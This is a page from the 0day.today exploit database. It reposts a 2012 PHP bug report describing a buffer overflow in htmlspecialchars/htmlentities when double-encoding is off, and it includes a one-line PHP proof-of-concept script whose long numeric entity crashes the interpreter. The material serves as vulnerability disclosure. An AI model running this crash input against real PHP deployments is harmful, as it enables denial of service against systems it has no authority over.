[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP 5.4SVN-2012-02-03 htmlspecialchars/entities Buffer Overflow

Author
cataphract
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-17487
Category
dos / poc
Date add
03-02-2012
Platform
php
From:             cataphract
Operating system: Any
PHP version:      5.4SVN-2012-02-03 (SVN)
Package:          Reproducible crash
Bug Type:         Bug
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false
Description:
------------
Long entities can cause a buffer overflow because the loop only guarantees
40 bytes available in beginning.
Test script:
---------------
<?php
echo
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""&#x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005;',
ENT_QUOTES, 'UTF-8', false), "\n";



#  0day.today [2024-12-25]  #